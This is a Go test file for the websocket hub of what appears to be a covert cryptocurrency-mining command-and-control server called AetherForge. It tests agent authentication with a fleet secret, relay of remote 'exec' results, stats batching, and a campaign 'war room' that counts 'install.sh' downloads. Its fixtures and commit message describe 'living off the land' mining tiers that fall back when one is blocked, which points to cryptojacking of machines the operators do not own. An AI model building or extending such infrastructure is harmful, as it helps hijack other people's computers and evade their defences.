Files
AetherForge/server/internal/api/websocket_test.go
AetherForge 4204dd6b6d Add fleet phenotype cloning for sibling machines.
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
2026-06-07 02:28:00 -07:00

1006 lines
31 KiB
Go

package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"github.com/gorilla/websocket"
)
const wsDefaultPingIntervalSec = 30
func resetWSAuthUsers(t *testing.T, user, pass string) {
t.Helper()
hashed, err := hashPassword(pass)
if err != nil {
t.Fatal(err)
}
usersMu.Lock()
authUsers = map[string]string{user: hashed}
usersMu.Unlock()
t.Cleanup(func() {
usersMu.Lock()
authUsers = map[string]string{}
usersMu.Unlock()
})
}
func wsDashboardToken(user, pass string) string {
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}
func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) {
t.Helper()
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial: %v", err)
}
t.Cleanup(func() { _ = conn.Close() })
return conn, wsURL
}
func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interface{}) Message {
t.Helper()
data, _ := json.Marshal(payload)
if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil {
t.Fatal(err)
}
deadline := time.Now().Add(3 * time.Second)
for time.Now().Before(deadline) {
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatalf("read auth_response: %v", err)
}
if resp.Type == "auth_response" {
return resp
}
}
t.Fatal("timed out waiting for auth_response")
return Message{}
}
func TestWSHubPingIntervalConstants(t *testing.T) {
hub := NewWSHub(nil)
if hub.pingIntervalSec != wsDefaultPingIntervalSec {
t.Fatalf("default ping interval = %d", hub.pingIntervalSec)
}
hub.SetPingInterval(5)
if hub.pingIntervalSec != wsDefaultPingIntervalSec {
t.Fatalf("below-minimum ping should clamp to %d, got %d", wsDefaultPingIntervalSec, hub.pingIntervalSec)
}
hub.SetPingInterval(15)
if hub.pingIntervalSec != 15 {
t.Fatalf("expected 15, got %d", hub.pingIntervalSec)
}
if hub.pingInterval().Seconds() != 15 {
t.Fatalf("pingInterval duration = %v", hub.pingInterval())
}
}
func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
resetWSAuthUsers(t, "dash", "secret-pass")
req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?token="+wsDashboardToken("dash", "secret-pass"), nil)
if !checkDashboardWSToken(req) {
t.Fatal("valid bcrypt user token should pass")
}
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?token="+wsDashboardToken("dash", "wrong"), nil)
if checkDashboardWSToken(req) {
t.Fatal("wrong password should fail")
}
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard", nil)
if checkDashboardWSToken(req) {
t.Fatal("missing token should fail")
}
}
func TestCheckDashboardWSTicketOneTime(t *testing.T) {
ticket := issueWSTicket("dash")
req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
if !checkDashboardWSToken(req) {
t.Fatal("valid ticket should pass")
}
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
if checkDashboardWSToken(req) {
t.Fatal("ticket should be one-time use")
}
}
func TestHandleDashboardWSUnauthorized(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
_, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err == nil {
t.Fatal("expected dial failure without token")
}
if resp == nil || resp.StatusCode != http.StatusUnauthorized {
t.Fatalf("expected 401 upgrade rejection, got err=%v status=%v", err, resp)
}
}
func TestHandleDashboardWSAuthorizedInit(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial: %v status=%v", err, resp)
}
t.Cleanup(func() { _ = conn.Close() })
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
t.Fatalf("read init: %v", err)
}
if msg.Type != "init" {
t.Fatalf("expected init message, got %q", msg.Type)
}
}
func resetWSAuthUsersMulti(t *testing.T, creds map[string]string) {
t.Helper()
users := make(map[string]string, len(creds))
for user, pass := range creds {
hashed, err := hashPassword(pass)
if err != nil {
t.Fatal(err)
}
users[user] = hashed
}
usersMu.Lock()
authUsers = users
usersMu.Unlock()
t.Cleanup(func() {
usersMu.Lock()
authUsers = map[string]string{}
usersMu.Unlock()
})
}
func TestHandleDashboardWSPresence(t *testing.T) {
resetWSAuthUsersMulti(t, map[string]string{"india": "secret-pass", "comrade": "secret-pass"})
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(srv.Close)
base := "ws" + strings.TrimPrefix(srv.URL, "http")
dial := func(user string) *websocket.Conn {
t.Helper()
conn, _, err := websocket.DefaultDialer.Dial(base+"?token="+wsDashboardToken(user, "secret-pass"), nil)
if err != nil {
t.Fatalf("dial %s: %v", user, err)
}
t.Cleanup(func() { _ = conn.Close() })
var init Message
if err := conn.ReadJSON(&init); err != nil || init.Type != "init" {
t.Fatalf("read init for %s: %v type=%q", user, err, init.Type)
}
var snap Message
if err := conn.ReadJSON(&snap); err != nil || snap.Type != "presence_snapshot" {
t.Fatalf("read presence_snapshot for %s: %v type=%q", user, err, snap.Type)
}
return conn
}
connA := dial("india")
connB := dial("comrade")
waitForMessage := func(conn *websocket.Conn, wantType, wantUser string, check func(map[string]interface{}) bool) {
t.Helper()
deadline := time.Now().Add(3 * time.Second)
for time.Now().Before(deadline) {
_ = conn.SetReadDeadline(time.Now().Add(250 * time.Millisecond))
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
continue
}
if msg.Type != wantType {
continue
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
continue
}
if wantUser != "" && body["user"] != wantUser {
continue
}
if check != nil && !check(body) {
continue
}
return
}
t.Fatalf("timed out waiting for %s user=%q", wantType, wantUser)
}
if err := connA.WriteJSON(Message{Type: "presence_page", Payload: mustMarshal(map[string]string{"page": "/crucible"})}); err != nil {
t.Fatal(err)
}
waitForMessage(connB, "presence_update", "india", func(body map[string]interface{}) bool {
return body["page"] == "/crucible" && body["online"] == true
})
if err := connA.WriteJSON(Message{Type: "notes_typing", Payload: mustMarshal(map[string]bool{"active": true})}); err != nil {
t.Fatal(err)
}
waitForMessage(connB, "notes_typing", "india", func(body map[string]interface{}) bool {
return body["active"] == true
})
}
func TestHandleAgentWSBadFleetSecret(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetFleetSecret("required-secret")
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "agent-bad-secret", "fleet_secret": "wrong", "hostname": "host",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if body["success"] != false {
t.Fatalf("expected auth failure, got %+v", body)
}
if hub.isAgentConnected("agent-bad-secret") {
t.Fatal("agent should not register with bad fleet secret")
}
}
func TestHandleAgentWSStatsAndLogTail(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
agentID := "stats-agent"
conn := connectTestAgent(t, hub, agentID)
statsPayload, _ := json.Marshal(map[string]interface{}{
"hashrate_15s": 100.0, "hashrate_1m": 90.0, "hashrate_15m": 80.0,
"shares_submitted": 5, "shares_accepted": 4,
"cpu_usage_pct": 12.5, "memory_usage_pct": 40.0, "uptime_seconds": 60,
})
if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil {
t.Fatal(err)
}
logPayload, _ := json.Marshal(map[string]interface{}{"content": "line1\nline2", "lines": 2})
if err := conn.WriteJSON(Message{Type: "log_tail", Payload: logPayload}); err != nil {
t.Fatal(err)
}
time.Sleep(50 * time.Millisecond)
if got := hub.GetAgentLog(agentID); got != "line1\nline2" {
t.Fatalf("log tail = %q", got)
}
cmdPayload, _ := json.Marshal(map[string]interface{}{"action": "exec", "success": true})
if err := conn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
t.Fatal(err)
}
}
func TestHandleAgentWSMaxAgentsPolicy(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.SetServerPolicy(ServerPolicy{MaxAgents: 1})
conn1, _ := dialAgentWS(t, hub)
authAgentConn(t, conn1, map[string]interface{}{"agent_id": "first", "hostname": "h1"})
conn2, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn2, map[string]interface{}{"agent_id": "second", "hostname": "h2"})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if body["success"] != false {
t.Fatalf("second agent should be rejected at max=1: %+v", body)
}
}
func TestHandleAgentWSInvalidAuthPayload(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
conn, _ := dialAgentWS(t, hub)
if err := conn.WriteJSON(Message{Type: "auth", Payload: json.RawMessage(`"not-an-object"`)}); err != nil {
t.Fatal(err)
}
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatal(err)
}
var body map[string]interface{}
_ = json.Unmarshal(resp.Payload, &body)
if body["success"] != false {
t.Fatalf("invalid auth payload should fail: %+v", body)
}
}
func TestWSHubSendAgentCommandNotConnected(t *testing.T) {
hub := NewWSHub(nil)
if err := hub.SendAgentCommand("missing", "restart", nil); err == nil {
t.Fatal("expected error for disconnected agent")
}
}
func TestWSHubBroadcastHelpers(t *testing.T) {
hub := NewWSHub(nil)
hub.BroadcastServerLog(" ")
hub.BroadcastFleetAlert(map[string]string{"level": "info"})
hub.BroadcastPoolStatus(map[string]string{"connected": "true"})
hub.BroadcastAIActivity(map[string]string{"agent_id": "a"})
}
func TestWSHubEnrichAgentsCapabilities(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
agentID := "cap-agent"
connectTestAgent(t, hub, agentID)
agents := []*models.Agent{{ID: agentID, Name: "x"}}
hub.enrichAgentsCapabilities(agents)
if agents[0].Capabilities == nil {
t.Fatal("expected capabilities enrichment")
}
}
func TestWSHubAgentPoolConfigDefaults(t *testing.T) {
hub := NewWSHub(nil)
hub.defaultPool = pool.Config{Host: "primary.pool", Port: 3333, Wallet: "48wallet", Password: "pw"}
hub.agentConfigs["a1"] = AgentForgeConfig{PoolHost: "custom.pool", PoolPort: 4444}
cfg := hub.agentPoolConfig("a1")
if cfg.Host != "custom.pool" || cfg.Port != 4444 {
t.Fatalf("unexpected pool cfg: %+v", cfg)
}
cfg = hub.agentPoolConfig("missing")
if cfg.Host != "primary.pool" {
t.Fatalf("missing agent should use default pool: %+v", cfg)
}
}
func TestWSHubConnectedAgentCount(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
if hub.connectedAgentCount() != 0 {
t.Fatal("expected zero agents initially")
}
connectTestAgent(t, hub, "count-agent")
if hub.connectedAgentCount() != 1 {
t.Fatalf("expected 1 connected agent, got %d", hub.connectedAgentCount())
}
}
// TestAgentNamePreservedOnReconnect checks that an operator-assigned display
// name is not overwritten by the machine hostname when the agent reconnects.
func TestAgentNamePreservedOnReconnect(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
// Seed the DB with an agent whose name was customised by the operator.
// The hostname field records what the machine reported; the name has been
// changed to something different, so it should be preserved on reconnect.
if err := database.UpsertAgent(&models.Agent{
ID: "renamed-agent",
Name: "Living Room PC",
Hostname: "DESKTOP-ABC123",
Status: "offline",
LastSeen: time.Now().Add(-5 * time.Minute),
}); err != nil {
t.Fatal(err)
}
// Agent reconnects — it reports the same hostname.
conn, _ := dialAgentWS(t, hub)
resp := authAgentConn(t, conn, map[string]interface{}{
"agent_id": "renamed-agent",
"hostname": "DESKTOP-ABC123",
"version": "1.0",
})
var body map[string]interface{}
if err := json.Unmarshal(resp.Payload, &body); err != nil {
t.Fatal(err)
}
if body["success"] != true {
t.Fatalf("auth should succeed: %+v", body)
}
// Give the auth handler a moment to commit the upsert.
time.Sleep(30 * time.Millisecond)
agent, err := database.GetAgent("renamed-agent")
if err != nil {
t.Fatal(err)
}
if agent.Name != "Living Room PC" {
t.Errorf("operator name should be preserved; got %q", agent.Name)
}
}
// TestAgentNameUpdatesFromHostnameWhenDefault verifies that the name IS updated
// when it was never customised (name == hostname, i.e. the default).
// TestCommandResultBroadcastToDashboard is the critical end-to-end test that
// verifies the full agent→server→dashboard broadcast of command_result.
// It was added to cover the gap identified in the Crucible terminal bug investigation.
func TestCommandResultBroadcastToDashboard(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
// ── Connect dashboard WS ──────────────────────────────────────────────
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
// Read all dashboard messages in a goroutine to avoid blocking and to
// keep the connection alive (no SetReadDeadline, which would permanently
// corrupt the gorilla/websocket connection on timeout).
type msgResult struct {
body map[string]interface{}
err string
}
cmdResultCh := make(chan msgResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
cmdResultCh <- msgResult{err: err.Error()}
return
}
if msg.Type != "command_result" {
continue // skip init, presence_snapshot, agent_online, etc.
}
var body map[string]interface{}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()}
return
}
cmdResultCh <- msgResult{body: body}
return
}
}()
// ── Connect + authenticate agent WS ──────────────────────────────────
agentID := "e2e-agent-001"
agentConn := connectTestAgent(t, hub, agentID)
// ── Agent sends command_result ────────────────────────────────────────
cmdPayload, _ := json.Marshal(map[string]interface{}{
"action": "exec",
"success": true,
"message": "hello from agent",
})
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
t.Fatalf("send command_result: %v", err)
}
// ── Dashboard must receive the broadcast ─────────────────────────────
select {
case r := <-cmdResultCh:
if r.err != "" {
t.Fatalf("dashboard did not receive command_result: %s", r.err)
}
if r.body["agent_id"] != agentID {
t.Errorf("agent_id: got %v, want %v", r.body["agent_id"], agentID)
}
if r.body["action"] != "exec" {
t.Errorf("action: got %v, want exec", r.body["action"])
}
if r.body["success"] != true {
t.Errorf("success: got %v, want true", r.body["success"])
}
if r.body["message"] != "hello from agent" {
t.Errorf("message: got %v, want 'hello from agent'", r.body["message"])
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for command_result broadcast")
}
}
func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
// Seed an agent whose name equals the old hostname (the default, un-renamed case).
if err := database.UpsertAgent(&models.Agent{
ID: "default-name-agent",
Name: "OLD-HOSTNAME",
Hostname: "OLD-HOSTNAME",
Status: "offline",
LastSeen: time.Now().Add(-5 * time.Minute),
}); err != nil {
t.Fatal(err)
}
// Agent reconnects with a new hostname (e.g. machine was renamed).
conn, _ := dialAgentWS(t, hub)
authAgentConn(t, conn, map[string]interface{}{
"agent_id": "default-name-agent",
"hostname": "NEW-HOSTNAME",
"version": "1.0",
})
time.Sleep(30 * time.Millisecond)
agent, err := database.GetAgent("default-name-agent")
if err != nil {
t.Fatal(err)
}
if agent.Name != "NEW-HOSTNAME" {
t.Errorf("default name should follow hostname update; got %q", agent.Name)
}
}
// TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback
// from agents are batched into a single stats_batch frame for dashboards.
func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type batchResult struct {
updates []map[string]interface{}
err string
}
batchCh := make(chan batchResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
batchCh <- batchResult{err: err.Error()}
return
}
if msg.Type != "stats_batch" {
continue
}
var body struct {
Updates []json.RawMessage `json:"updates"`
}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
batchCh <- batchResult{err: parseErr.Error()}
return
}
updates := make([]map[string]interface{}, 0, len(body.Updates))
for _, raw := range body.Updates {
var u map[string]interface{}
if json.Unmarshal(raw, &u) != nil {
continue
}
updates = append(updates, u)
}
if len(updates) < 2 {
continue
}
batchCh <- batchResult{updates: updates}
return
}
}()
agentA := "mining-agent-a"
agentB := "mining-agent-b"
connA := connectTestAgent(t, hub, agentA)
connB := connectTestAgent(t, hub, agentB)
payloadA, _ := json.Marshal(map[string]interface{}{
"active_method": "inprocess",
"hashrate_15s": 150.0,
"mining_hashrate": 150.0,
"lotl_tier": "cpu_inprocess",
"lotl_attempts": []map[string]interface{}{
{"tier": "container", "ok": false, "error": "blocked", "duration_ms": 400},
{"tier": "cpu_inprocess", "ok": true, "duration_ms": 900, "wallet": "xmr"},
},
})
payloadB, _ := json.Marshal(map[string]interface{}{
"active_method": "container",
"chain_exhausted": false,
"hashrate_15s": 200.0,
})
if err := connA.WriteJSON(Message{Type: "mining_status", Payload: payloadA}); err != nil {
t.Fatal(err)
}
if err := connB.WriteJSON(Message{Type: "mining_fallback", Payload: payloadB}); err != nil {
t.Fatal(err)
}
stopStatsBatchTimer(hub)
hub.flushStatsBatch()
select {
case r := <-batchCh:
if r.err != "" {
t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
}
if len(r.updates) != 2 {
t.Fatalf("expected 2 coalesced updates, got %d: %+v", len(r.updates), r.updates)
}
byAgent := map[string]map[string]interface{}{}
for _, u := range r.updates {
id, _ := u["agent_id"].(string)
if id == "" {
t.Fatalf("update missing agent_id: %+v", u)
}
byAgent[id] = u
}
if byAgent[agentA]["active_method"] != "inprocess" {
t.Errorf("agent A active_method = %v", byAgent[agentA]["active_method"])
}
if byAgent[agentA]["mining_hashrate"] != 150.0 {
t.Errorf("agent A mining_hashrate = %v", byAgent[agentA]["mining_hashrate"])
}
if byAgent[agentA]["lotl_tier"] != "cpu_inprocess" {
t.Errorf("agent A lotl_tier = %v", byAgent[agentA]["lotl_tier"])
}
attempts, ok := byAgent[agentA]["lotl_attempts"].([]interface{})
if !ok || len(attempts) != 2 {
t.Errorf("agent A lotl_attempts = %T %v", byAgent[agentA]["lotl_attempts"], byAgent[agentA]["lotl_attempts"])
}
if byAgent[agentB]["active_method"] != "container" {
t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for stats_batch relay")
}
}
// stopStatsBatchTimer cancels the 250ms flush timer so tests can read statsBatch
// without racing flushStatsBatch clearing the pending map.
func stopStatsBatchTimer(hub *WSHub) {
hub.statsBatchMu.Lock()
defer hub.statsBatchMu.Unlock()
if hub.statsBatchTimer != nil {
hub.statsBatchTimer.Stop()
hub.statsBatchTimer = nil
}
}
func TestStatsBatchCoalescesSameAgent(t *testing.T) {
hub := NewWSHub(nil)
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a1", "hashrate_15s": 10.0,
})
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a1", "hashrate_15s": 99.0, "active_method": "inprocess",
})
stopStatsBatchTimer(hub)
hub.flushStatsBatch()
// Merged coalesce — later keys overwrite, earlier keys preserved.
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 10.0, "lotl_tier": "cpu_inprocess"})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "mining_hashrate": 850.0})
stopStatsBatchTimer(hub)
hub.statsBatchMu.Lock()
if len(hub.statsBatch) != 1 {
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
}
var merged map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a1"], &merged); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if merged["hashrate_15s"] != 10.0 {
t.Fatalf("expected preserved hashrate_15s, got %v", merged["hashrate_15s"])
}
if merged["lotl_tier"] != "cpu_inprocess" {
t.Fatalf("expected lotl_tier preserved, got %v", merged["lotl_tier"])
}
if merged["mining_hashrate"] != 850.0 {
t.Fatalf("expected mining_hashrate merged, got %v", merged["mining_hashrate"])
}
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 1.0})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 2.0})
stopStatsBatchTimer(hub)
hub.statsBatchMu.Lock()
if len(hub.statsBatch) != 1 {
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
}
var last map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a1"], &last); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if last["hashrate_15s"] != 2.0 {
t.Fatalf("latest update should win coalesce, got %v", last["hashrate_15s"])
}
}
func TestStatsBatchCoalescesLotlAttempts(t *testing.T) {
hub := NewWSHub(nil)
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a2",
"lotl_tier": "container",
"lotl_attempts": []map[string]interface{}{
{"tier": "wsl", "ok": false, "error": "no distro", "duration_ms": 500},
{"tier": "container", "ok": true, "duration_ms": 800, "wallet": "xmr"},
},
})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a2", "mining_hashrate": 1200.0})
stopStatsBatchTimer(hub)
hub.statsBatchMu.Lock()
var merged map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a2"], &merged); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if merged["lotl_tier"] != "container" {
t.Fatalf("lotl_tier = %v", merged["lotl_tier"])
}
attempts, ok := merged["lotl_attempts"].([]interface{})
if !ok || len(attempts) != 2 {
t.Fatalf("lotl_attempts = %T %v", merged["lotl_attempts"], merged["lotl_attempts"])
}
if merged["mining_hashrate"] != 1200.0 {
t.Fatalf("mining_hashrate = %v", merged["mining_hashrate"])
}
}
func TestRunWarRoomBroadcastPushesFrame(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.LogCampaignEvent("wave-test", "b1", db.CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
t.Fatal(err)
}
prev := warRoomBroadcastInterval
warRoomBroadcastInterval = 25 * time.Millisecond
t.Cleanup(func() { warRoomBroadcastInterval = prev })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type warRoomResult struct {
body map[string]interface{}
err string
}
warCh := make(chan warRoomResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(3 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
warCh <- warRoomResult{err: err.Error()}
return
}
if msg.Type != "emberwake_war_room" {
continue
}
var body map[string]interface{}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
warCh <- warRoomResult{err: "parse: " + parseErr.Error()}
return
}
warCh <- warRoomResult{body: body}
return
}
}()
select {
case r := <-warCh:
if r.err != "" {
t.Fatalf("dashboard did not receive emberwake_war_room: %s", r.err)
}
if days, ok := r.body["days"].(float64); !ok || days != 7 {
t.Errorf("days: got %v, want 7", r.body["days"])
}
campaigns, _ := r.body["campaigns"].([]interface{})
if len(campaigns) != 1 {
t.Fatalf("expected 1 campaign in war room payload, got %d: %+v", len(campaigns), r.body)
}
c0, _ := campaigns[0].(map[string]interface{})
if c0["campaign"] != "wave-test" {
t.Errorf("campaign: got %v, want wave-test", c0["campaign"])
}
if hits, _ := c0["hits"].(float64); hits != 1 {
t.Errorf("hits: got %v, want 1", c0["hits"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for emberwake_war_room broadcast")
}
}
// TestStatsBatchCoalescesManyAgents verifies 500 distinct agent_id stats updates
// queued within one 250ms flush window produce a single stats_batch frame.
func TestStatsBatchCoalescesManyAgents(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type batchResult struct {
updates []map[string]interface{}
err string
}
batchCh := make(chan batchResult, 2)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
batchCh <- batchResult{err: err.Error()}
return
}
if msg.Type != "stats_batch" {
continue
}
var body struct {
Updates []json.RawMessage `json:"updates"`
}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
batchCh <- batchResult{err: parseErr.Error()}
return
}
updates := make([]map[string]interface{}, 0, len(body.Updates))
for _, raw := range body.Updates {
var u map[string]interface{}
if json.Unmarshal(raw, &u) != nil {
continue
}
updates = append(updates, u)
}
batchCh <- batchResult{updates: updates}
}
}()
const agentCount = 500
for i := 0; i < agentCount; i++ {
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": fmt.Sprintf("scale-agent-%d", i),
"hashrate_15s": float64(i),
})
}
var first batchResult
select {
case first = <-batchCh:
if first.err != "" {
t.Fatalf("dashboard did not receive stats_batch: %s", first.err)
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for stats_batch relay")
}
if len(first.updates) != agentCount {
t.Fatalf("expected %d coalesced updates in one frame, got %d", agentCount, len(first.updates))
}
seen := make(map[string]struct{}, agentCount)
for _, u := range first.updates {
id, _ := u["agent_id"].(string)
if id == "" {
t.Fatalf("update missing agent_id: %+v", u)
}
if _, dup := seen[id]; dup {
t.Fatalf("duplicate agent_id in batch: %q", id)
}
seen[id] = struct{}{}
}
if len(seen) != agentCount {
t.Fatalf("expected %d distinct agent_ids, got %d", agentCount, len(seen))
}
select {
case second := <-batchCh:
if second.err == "" {
t.Fatalf("expected single stats_batch frame, got second with %d updates", len(second.updates))
}
case <-time.After(400 * time.Millisecond):
// no second batch within coalesce window — good
}
}